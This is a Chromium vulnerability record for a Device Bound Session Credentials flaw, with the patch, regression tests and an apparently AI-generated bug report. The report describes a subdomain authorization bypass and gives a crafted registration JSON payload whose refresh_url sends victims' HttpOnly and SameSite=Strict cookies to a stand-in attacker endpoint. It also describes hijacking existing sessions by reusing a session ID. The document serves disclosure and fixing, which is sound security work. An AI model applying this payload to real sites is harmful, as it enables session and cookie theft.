CVE-2026-13921
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
TEST_Fnet/device_bound_sessions/registration_fetcher_unittest.cc |
modified | |
ifnet/device_bound_sessions/registration_fetcher_unittest.cc |
modified |
Files Changed
content/browser/devtools/protocol/network_handler.ccnet/device_bound_sessions/registration_fetcher.ccnet/device_bound_sessions/registration_fetcher_unittest.cc
Patch
From e1632d017cce0cb2b4b2d8ef42c40b5b856a7b2d Mon Sep 17 00:00:00 2001 From: Jan Wilken Dörrie <[email protected]> Date: Wed, 27 May 2026 00:55:28 -0700 Subject: [PATCH] [dbsc] Enforce strict cross-origin registration validation This change improves registration validation for Device Bound Session Credentials (DBSC) to prevent unauthorized session scoping. It ensures that cross-origin registration requests are consistently subject to authorization checks. Previously, a rogue subdomain could bypass the mandatory .well-known authorization check for another origin on the same site by setting include_site to false in the registration instructions. This allowed for cross-origin cookie exfiltration. We now require all cross-origin registrations to explicitly set include_site to true. This ensures the subdomain authorization check is triggered whenever the registration endpoint and session scope hosts differ. Key modifications: - Enforce include_site for cross-origin registrations in Session. - Introduce kCrossOriginRegistrationSiteNotIncluded error type. - Ensure RegistrationFetcher uses the final URL after redirects for origin validation. - Update DevTools, Mojo, and histograms to support the new error. Bug: 511738175 Change-Id: Iabe6fd0058b21db63eb8c8b7a73dbd636a6a6964 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7849922 Commit-Queue: Jan Wilken Dörrie <[email protected]> Reviewed-by: Elly <[email protected]> Reviewed-by: Alex Rudenko <[email protected]> Reviewed-by: Alex Ilin <[email protected]> Cr-Commit-Position: refs/heads/main@{#1636746} --- diff --git a/content/browser/devtools/protocol/network_handler.cc b/content/browser/devtools/protocol/network_handler.cc index 9e66420..a6c22d6c 100644 --- a/content/browser/devtools/protocol/network_handler.cc +++ b/content/browser/devtools/protocol/network_handler.cc @@ -2160,6 +2160,10 @@ kSessionDeletedDuringRefresh: return protocol::Network::DeviceBoundSessionFetchResultEnum:: SessionDeletedDuringRefresh; + case net::device_bound_sessions::SessionError::ErrorType:: + kCrossOriginRegistrationSiteNotIncluded: + return protocol::Network::DeviceBoundSessionFetchResultEnum:: + CrossOriginRegistrationSiteNotIncluded; } } diff --git a/net/device_bound_sessions/registration_fetcher.cc b/net/device_bound_sessions/registration_fetcher.cc index 61a16ebf..59a148dc 100644 --- a/net/device_bound_sessions/registration_fetcher.cc +++ b/net/device_bound_sessions/registration_fetcher.cc @@ -670,8 +670,12 @@ } } + // Use the final URL after redirects for validation checks to ensure we + // validate the origin that actually served the response. + GURL final_registration_url = url_fetcher_->request().url(); + base::expected<SessionParams, SessionError> params_or_error = - ParseSessionInstructionJson(url_fetcher_->request().url(), *key_id_, + ParseSessionInstructionJson(final_registration_url, *key_id_, session_identifier_, url_fetcher_->data_received()); if (!params_or_error.has_value()) { @@ -681,8 +685,9 @@ return; } + const SessionParams& params = *params_or_error; base::expected<std::unique_ptr<Session>, SessionError> session_or_error = - Session::CreateIfValid(params_or_error.value()); + Session::CreateIfValid(params); if (!session_or_error.has_value()) { RunCallback( CreateErrorRegistrationResult(std::move(session_or_error).error())); @@ -691,10 +696,6 @@ } std::unique_ptr<Session> session = std::move(*session_or_error); - // Use the final URL after redirects for validation checks to ensure we - // validate the origin that actually served the response. - GURL final_registration_url = url_fetcher_->request().url(); - // Re-process challenge headers now that a session exists so that cached // challenges work for the registration case as well. auto challenge_params = @@ -728,11 +729,15 @@ } // Session::CreateIfValid confirms that the registration endpoint is - // same-site with the scope origin. But we still need to validate - // that this subdomain is allowed to register a session for the - // whole site. + // same-site with the scope origin and allowed to register a session for the + // scope origin. But for cross-origin same-site registrations, we still need + // to validate that this subdomain is allowed to register a session for the + // scope origin via a .well-known check. if (features::kDeviceBoundSessionsCheckSubdomainRegistration.Get() && - !IsForRefreshRequest() && params_or_error->scope.include_site && + !IsForRefreshRequest() && params.scope.include_site && + // We compare hosts rather than origins here because the DBSC spec + // (https://w3c.github.io/webappsec-dbsc/#algo-create-session) defines + // the scope of .well-known files to be the host. // Skip all validations if the fetcher endpoint is not a subdomain but // rather the top-level site (which matches the origin when including // the site). diff --git a/net/device_bound_sessions/registration_fetcher_unittest.cc b/net/device_bound_sessions/registration_fetcher_unittest.cc index 97c8355a..7abaf5f 100644 --- a/net/device_bound_sessions/registration_fetcher_unittest.cc +++ b/net/device_bound_sessions/registration_fetcher_unittest.cc @@ -95,6 +95,27 @@ }] })"; +constexpr char kSubdomainValidJsonIncludeSiteFalse[] = + R"({ + "session_identifier": "session_id", + "refresh_url": "/refresh", + "scope": { + "origin": "https://a.test", + "include_site": false, + "scope_specification" : [ + { + "type": "include", + "path": "/only_trusted_path" + } + ] + }, + "credentials": [{ + "type": "cookie", + "name": "auth_cookie", + "attributes": "Domain=a.test; Path=/; Secure; SameSite=None" + }] +})"; + constexpr char kSessionIdentifier[] = "session_id"; constexpr char kRedirectPath[] = "/redirect"; constexpr char kChallenge[] = "test_challenge"; @@ -1528,6 +1549,69 @@ callback.outcome().SessionForTesting(); } +TEST_F(RegistrationTest, Registration_RedirectToCrossOrigin_Fails) { + crypto::ScopedFakeUnexportableKeyProvider scoped_fake_key_provider; + bool followed = false; + server_.RegisterRequestHandler(base::BindLambdaForTesting( + [&](const test_server::HttpRequest& request) + -> std::unique_ptr<test_server::HttpResponse> { + if (request.relative_url == "/") { + auto response = std::make_unique<test_server::BasicHttpResponse>(); + response->set_code(HTTP_FOUND); + response->AddCustomHeader( + "Location", + server_.GetURL("subdomain.a.test", "/redirect_dest").spec()); + response->set_content("Redirected"); + response->set_content_type("text/plain"); + return response; + } + if (request.relative_url == "/redirect_dest") { + followed = true; + return ReturnResponse(HTTP_OK, R"json( + { + "session_identifier": "session_id", + "credentials": [ + { + "type": "cookie", + "name": "auth_cookie", + "attributes": "Domain=.a.test; Path=/; Secure; SameSite=None" + } + ], + "scope": { + "origin": "https://a.test", + "include_site": false + } + } + )json", + request); + } + return nullptr; + })); + + server_.SetSSLConfig(EmbeddedTestServer::CERT_TEST_NAMES); + ASSERT_TRUE(server_.Start()); + + RecordingNetLogObserver net_log_observer; + TestRegistrationCallback callback; + + RegistrationRequestParam param = GetBasicParam(server_.GetURL("a.test", "/")); + std::unique_ptr<RegistrationFetcher> fetcher = + RegistrationFetcher::CreateFetcher( + param, session_service(), unexportable_key_service(), context_.get(), + IsolationInfo::CreateTransient(/*nonce=*/std::nullopt), + /*net_log_source=*/std::nullopt,
Regression Test / PoC
diff --git a/net/device_bound_sessions/registration_fetcher_unittest.cc b/net/device_bound_sessions/registration_fetcher_unittest.cc
index 97c8355a..7abaf5f 100644
--- a/net/device_bound_sessions/registration_fetcher_unittest.cc
+++ b/net/device_bound_sessions/registration_fetcher_unittest.cc
@@ -95,6 +95,27 @@
}]
})";
+constexpr char kSubdomainValidJsonIncludeSiteFalse[] =
+ R"({
+ "session_identifier": "session_id",
+ "refresh_url": "/refresh",
+ "scope": {
+ "origin": "https://a.test",
+ "include_site": false,
+ "scope_specification" : [
+ {
+ "type": "include",
+ "path": "/only_trusted_path"
+ }
+ ]
+ },
+ "credentials": [{
+ "type": "cookie",
+ "name": "auth_cookie",
+ "attributes": "Domain=a.test; Path=/; Secure; SameSite=None"
+ }]
+})";
+
constexpr char kSessionIdentifier[] = "session_id";
constexpr char kRedirectPath[] = "/redirect";
constexpr char kChallenge[] = "test_challenge";
@@ -1528,6 +1549,69 @@
callback.outcome().SessionForTesting();
}
+TEST_F(RegistrationTest, Registration_RedirectToCrossOrigin_Fails) {
+ crypto::ScopedFakeUnexportableKeyProvider scoped_fake_key_provider;
+ bool followed = false;
+ server_.RegisterRequestHandler(base::BindLambdaForTesting(
+ [&](const test_server::HttpRequest& request)
+ -> std::unique_ptr<test_server::HttpResponse> {
+ if (request.relative_url == "/") {
+ auto response = std::make_unique<test_server::BasicHttpResponse>();
+ response->set_code(HTTP_FOUND);
+ response->AddCustomHeader(
+ "Location",
+ server_.GetURL("subdomain.a.test", "/redirect_dest").spec());
+ response->set_content("Redirected");
+ response->set_content_type("text/plain");
+ return response;
+ }
+ if (request.relative_url == "/redirect_dest") {
+ followed = true;
+ return ReturnResponse(HTTP_OK, R"json(
+ {
+ "session_identifier": "session_id",
+ "credentials": [
+ {
+ "type": "cookie",
+ "name": "auth_cookie",
+ "attributes": "Domain=.a.test; Path=/; Secure; SameSite=None"
+ }
+ ],
+ "scope": {
+ "origin": "https://a.test",
+ "include_site": false
+ }
+ }
+ )json",
+ request);
+ }
+ return nullptr;
+ }));
+
+ server_.SetSSLConfig(EmbeddedTestServer::CERT_TEST_NAMES);
+ ASSERT_TRUE(server_.Start());
+
+ RecordingNetLogObserver net_log_observer;
+ TestRegistrationCallback callback;
+
+ RegistrationRequestParam param = GetBasicParam(server_.GetURL("a.test", "/"));
+ std::unique_ptr<RegistrationFetcher> fetcher =
+ RegistrationFetcher::CreateFetcher(
+ param, session_service(), unexportable_key_service(), context_.get(),
+ IsolationInfo::CreateTransient(/*nonce=*/std::nullopt),
+ /*net_log_source=*/std::nullopt,
+ /*original_request_initiator=*/std::nullopt,
+ unexportable_keys::BackgroundTaskPriority::kBestEffort);
+ fetcher->StartCreateTokenAndFetch(param, CreateAlgArray(),
+ callback.callback());
+
+ callback.WaitForCall();
+
+ EXPECT_TRUE(followed);
+ EXPECT_EQ(callback.outcome().SessionErrorForTesting()->type,
+ SessionError::kCrossOriginRegistrationSiteNotIncluded);
+}
+
TEST_F(RegistrationTest, FailOnSslErrorExpired) {
crypto::ScopedFakeUnexportableKeyProvider scoped_fake_key_provider;
server_.RegisterRequestHandler(
@@ -2652,6 +2736,35 @@
SessionError::kSubdomainRegistrationUnauthorized);
}
+TEST_F(RegistrationTest, RegistrationBySubdomain_IncludeSiteFalse_Fails) {
+ crypto::ScopedFakeUnexportableKeyProvider scoped_fake_key_provider;
+
+ server_.RegisterRequestHandler(base::BindRepeating(
+ &ReturnResponse, HTTP_OK, kSubdomainValidJsonIncludeSiteFalse));
+ ASSERT_TRUE(server_.Start());
+
+ GURL registration_url = server_.GetURL("subdomain.a.test", "/");
+
+ RecordingNetLogObserver net_log_observer;
+ TestRegistrationCallback callback;
+
+ auto param = GetBasicParam(registration_url);
+ std::unique_ptr<RegistrationFetcher> fetcher =
+ RegistrationFetcher::CreateFetcher(
+ param, session_service(), unexportable_key_service(), context_.get(),
+ IsolationInfo::CreateTransient(/*nonce=*/std::nullopt),
+ /*net_log_source=*/std::nullopt,
+ /*original_request_initiator=*/std::nullopt,
+ unexportable_keys::BackgroundTaskPriority::kBestEffort);
+ fetcher->StartCreateTokenAndFetch(param, CreateAlgArray(),
+ callback.callback());
+ callback.WaitForCall();
+ const RegistrationResult& out_session = callback.outcome();
+ ASSERT_NE(out_session.SessionErrorForTesting(), nullptr);
+ EXPECT_EQ(out_session.SessionErrorForTesting()->type,
+ SessionError::kCrossOriginRegistrationSiteNotIncluded);
+}
+
TEST_F(RegistrationTest, RegistrationBySubdomain_MultipleAllowed) {
crypto::ScopedFakeUnexportableKeyProvider scoped_fake_key_provider;
diff --git a/net/device_bound_sessions/session_store_impl_unittest.cc b/net/device_bound_sessions/session_store_impl_unittest.cc
index 16343f57..17e88256 100644
--- a/net/device_bound_sessions/session_store_impl_unittest.cc
+++ b/net/device_bound_sessions/session_store_impl_unittest.cc
@@ -39,6 +39,7 @@
#include "testing/gmock/include/gmock/gmock.h"
#include "testing/gtest/include/gtest/gtest.h"
#include "url/gurl.h"
+#include "url/origin.h"
namespace net::device_bound_sessions {
@@ -94,6 +95,12 @@
std::string_view origin = "https://foo.test") {
SessionParams::Scope scope;
scope.origin = origin;
+ if (url::Origin::Create(GURL(url_string)) !=
+ url::Origin::Create(GURL(origin))) {
+ // Cross-origin mock sessions must specify include_site = true to pass
+ // validation.
+ scope.include_site = true;
+ }
std::string cookie_attr = "Secure; Domain=" + GURL(url_string).GetHost();
std::vector<SessionParams::Credential> cookie_credentials(
{SessionParams::Credential{"test_cookie", cookie_attr}});
diff --git a/net/device_bound_sessions/session_unittest.cc b/net/device_bound_sessions/session_unittest.cc
index 598fd5d..2c52d23 100644
--- a/net/device_bound_sessions/session_unittest.cc
+++ b/net/device_bound_sessions/session_unittest.cc
@@ -548,6 +548,7 @@
TEST_F(SessionTest, DeferredNarrowerScopeOrigin) {
auto params = CreateValidParams();
params.scope.origin = "https://sub.example.test";
+ params.fetcher_url = GURL("https://sub.example.test/index.html");
ASSERT_OK_AND_ASSIGN(std::unique_ptr<Session> session,
Session::CreateIfValid(params));
ASSERT_TRUE(session);
@@ -573,6 +574,7 @@
TEST_F(SessionTest, NotDeferredNarrowerScopeOrigin) {
auto params = CreateValidParams();
params.scope.origin = "https://sub.example.test";
+ params.fetcher_url = GURL("https://sub.example.test/index.html");
ASSERT_OK_AND_ASSIGN(std::unique_ptr<Session> session,
Session::CreateIfValid(params));
ASSERT_TRUE(session);
@@ -1121,6 +1123,36 @@
initiator_rule, GURL("https://some-other-example.test").GetHost()));
}
+TEST_F(SessionTest, CreateIfValid_SameOrigin_IncludeSiteFalse) {
+ auto params = CreateValidParams();
+ params.scope.origin = "https://example.test";
+ params.fetcher_url = GURL("https://example.test/index.html");
+ params.scope.include_site = false;
+ ASSERT_OK_AND_ASSIGN(std::unique_ptr<Session> session,
+ Session::CreateIfValid(params));
+ ASSERT_TRUE(session);
+}
+
+TEST_F(SessionTest, CreateIfValid_CrossOrigin_IncludeSiteTrue) {
+ auto params = CreateValidParams();
+ params.scope.origin = "https://example.test";
+ params.fetcher_url = GURL("https://sub.example.test/index.html");
+ params.scope.include_site = true;
+ ASSERT_OK_AND_ASSIGN(std::unique_ptr<Session> session,
+ Session::CreateIfValid(params));
+ ASSERT_TRUE(session);
+}
+
+TEST_F(SessionTest, CreateIfValid_CrossOrigin_IncludeSiteFalse) {
+ auto params = CreateValidParams();
+ params.scope.origin = "https://example.test";
+ params.fetcher_url = GURL("https://sub.example.test/index.html");
+ params.scope.include_site = false;
+ EXPECT_THAT(Session::CreateIfValid(params),
+ ErrorIs(MatchesErrorType(
+ SessionError::kCrossOriginRegistrationSiteNotIncluded)));
+}
+
TEST_F(SessionTest, InvalidRefreshInitiators) {
auto params = CreateValidParams();
params.allowed_refresh_initiators = {"star.in.middle.*.of.example.test"};
Original Bug Report
DBSC subdomain authorization bypass via include_site=false and scope.origin spoofing
Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports without the Chrome Security team. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.
Overview: A potential logic flaw in Device Bound Session Credentials (DBSC) allows a rogue subdomain to bypass the .well-known authorization check by setting include_site to false in the registration JSON. This enables an attacker to register a session for another origin on the same site, which can then be exploited for cross-origin cookie exfiltration.
Affected files:
net/device_bound_sessions/registration_fetcher.ccnet/device_bound_sessions/session.ccnet/device_bound_sessions/session_service_impl.ccnet/device_bound_sessions/session_inclusion_rules.ccnet/device_bound_sessions/cookie_craving.cc
Estimated timestamp from git blame: 2026-02-20
Summary
A potential vulnerability exists in the DBSC (Device Bound Session Credentials) registration process where the .well-known authorization check can be bypassed. An attacker controlling a subdomain (e.g., evil.victim.com) can register a session scoped to a different origin on the same site (e.g., login.victim.com) by setting include_site to false in the registration JSON. This bypasses the mandatory authorization check intended to prevent rogue subdomains from hijacking or tampering with sessions of other subdomains.
Technical Details
1. The .well-known Bypass
The DBSC implementation includes a check in net/device_bound_sessions/registration_fetcher.cc to ensure that subdomains are authorized to register sessions for their parent site or other origins. This check is performed by fetching a .well-known file from the target origin. However, the logic currently gates this check on the include_site parameter being true:
// From net/device_bound_sessions/registration_fetcher.cc
if (features::kDeviceBoundSessionsCheckSubdomainRegistration.Get() &&
!IsForRefreshRequest() && params_or_error->scope.include_site &&
fetcher_endpoint_.GetHost() != session->origin().host()) {
// Perform .well-known check...
}
If an attacker’s registration payload sets "scope": {"include_site": false, "origin": "https://login.victim.com"}, the params_or_error->scope.include_site condition evaluates to false, and the .well-known check is skipped entirely, even though the fetcher (evil.victim.com) is on a different subdomain than the declared session origin.
2. Scope Origin Spoofing
Validation in net/device_bound_sessions/session.cc only requires that the scope.origin be same-site with the registration fetcher URL, rather than strictly same-origin:
// From net/device_bound_sessions/session.cc
if (net::SchemefulSite(scope_origin_as_url) !=
net::SchemefulSite(params.fetcher_url)) {
return base::unexpected(
SessionError{SessionError::kScopeOriginSameSiteMismatch});
}
This allows evil.victim.com to specify https://login.victim.com as the session origin. When include_site is false, SessionInclusionRules::EvaluateRequestUrl will successfully match any request that is same-origin with this spoofed origin_ (i.e., login.victim.com).
3. Cookie Exfiltration via Refresh
An attacker can theoretically use this spoofed session to exfiltrate cookies. By setting a refresh_url pointing to the attacker’s subdomain and a CookieCraving for a nonexistent domain-wide cookie, the attacker can force the browser to trigger a refresh request when the victim navigates to login.victim.com.
When SessionServiceImpl::DeferRequestForRefresh identifies that the CookieCraving is unsatisfied, it defers the top-level navigation and initiates a refresh. The refresh request to evil.victim.com inherits the IsolationInfo from the deferred top-level navigation via ConfigureRequest in registration_fetcher.cc:
request.set_site_for_cookies(isolation_info_.site_for_cookies());
Since the deferred request was a top-level navigation to login.victim.com, the site_for_cookies is victim.com. A POST request to evil.victim.com with these settings results in a SameSite=Strict context, causing all Domain=.victim.com cookies—including those marked HttpOnly and SameSite=Strict—to be attached and sent to the attacker’s endpoint.
4. Silent DBSC Destruction
Additionally, because SessionServiceImpl::AddSession overwrites existing sessions in its internal map using a SessionKey comprised only of the SchemefulSite and SessionId, an attacker can specify a known legitimate session ID in their payload to silently overwrite and disable a victim’s legitimate DBSC session.
Potential Exploit Scenario
Note: These are theoretical steps; our tooling agent has not executed a working proof-of-concept.
- Environment: DBSC is enabled. The attacker controls a subdomain, e.g.,
evil.victim.com. - Trigger Registration: The attacker serves a resource from
evil.victim.comwith theSec-Session-Registrationheader to a visiting victim. - Malicious Response: The attacker’s registration server returns a crafted JSON payload:
{ "session_identifier": "target_session_id", "scope": {"include_site": false, "origin": "https://login.victim.com"}, "refresh_url": "https://evil.victim.com/exfil", "credentials": [{ "type": "cookie", "name": "nonexistent_cookie", "attributes": "Domain=victim.com; Path=/; Secure" }] } - Registration: The browser accepts the registration. The
.well-knowncheck is bypassed due toinclude_sitebeing false. Thescope.originandrefresh_urlare accepted as they are same-site with the fetcher. - Exfiltration: When the victim navigates to
https://login.victim.com, the request is deferred due to the unsatisfiedCookieCraving. A refresh POST is sent tohttps://evil.victim.com/exfilwith the victim’s domain-wide cookies attached, includingSameSite=StrictandHttpOnlycookies.
Suggested Fix
The bypass logic in RegistrationFetcherImpl::OnRequestComplete() should be updated to perform the .well-known check regardless of the include_site value, as long as the fetcher endpoint’s host differs from the scope origin’s host.
// Suggested modification in net/device_bound_sessions/registration_fetcher.cc
if (features::kDeviceBoundSessionsCheckSubdomainRegistration.Get() &&
!IsForRefreshRequest() &&
fetcher_endpoint_.GetHost() != session->origin().host()) {
// Perform .well-known check...
}
Evaluated with Chrome root at commit: eca8648a4e1cdfdda68c495a6003059fed641955
Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.